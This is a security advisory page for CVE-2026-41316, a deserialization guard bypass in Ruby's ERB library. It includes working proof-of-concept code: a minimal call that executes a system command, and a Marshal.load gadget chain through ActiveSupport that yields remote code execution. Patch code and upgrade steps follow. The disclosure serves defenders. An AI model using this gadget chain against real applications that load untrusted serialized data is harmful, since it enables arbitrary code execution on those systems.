Loading...
Skip to main content

CVE-2026-41316 — Vulnerability in erb — CVE Details

HIGH

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Published April 24, 2026Updated September 10, 2026Source: osv

Summary

## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. <details> ## The @_init Guard In `ERB#initialize`, the guard is set: ```ruby # erb.rb line 838 @_init = self.class.singleton_class ``` In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`: ```ruby # erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ``` When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. ## The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`: ```ruby # erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end ``` `def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods. ### Method wrapper breakout `def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time: ```ruby # Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end ``` --- ## Proof of Concept ### Minimal (ERB only) ```ruby require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root) ``` ### Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`: ```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root) ``` **Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` **Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1 </details> ## Impact ### Scope Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes: - **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC - **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization ### Severity justification The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6. This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails. <details> ### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** | </details> ## Patches The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them. * ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 <details> Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths: ```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end ``` </details> -----

Advisory Timeline

  • First published April 24, 2026 (171 days ago).
  • Last revised September 10, 2026 — 139 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update erb to 4.0.4.1 or later
gem install erb -v 4.0.4.1
Bundler
Update erb to 4.0.3.1 or later
gem install erb -v 4.0.3.1
Bundler
Update erb to 6.0.1.1 or later
gem install erb -v 6.0.1.1
Bundler
Update erb to 6.0.4 or later
gem install erb -v 6.0.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: rubygems (1).

PackageEcosystemAffectedFixed In
erb
rubygems
4.0.44.0.4.1
erb
rubygems
2.2.0, 2.2.1, 2.2.2, 2.2.3 (+5 more)4.0.3.1
erb
rubygems
5.0.0, 5.0.1, 5.0.2, 5.0.3 (+6 more)6.0.1.1
erb
rubygems
6.0.2, 6.0.36.0.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-41316?
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-41316?
CVE-2026-41316 affects erb. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41316 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-q339-8rmv-2mhv

Related CVEs

  • CVE-2026-94462
    HIGH

    Spree: Broken Access Control in `PATCH /api/v3/store/carts/:id/associate` (IDOR)

  • CVE-2026-77601
    HIGH

    OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies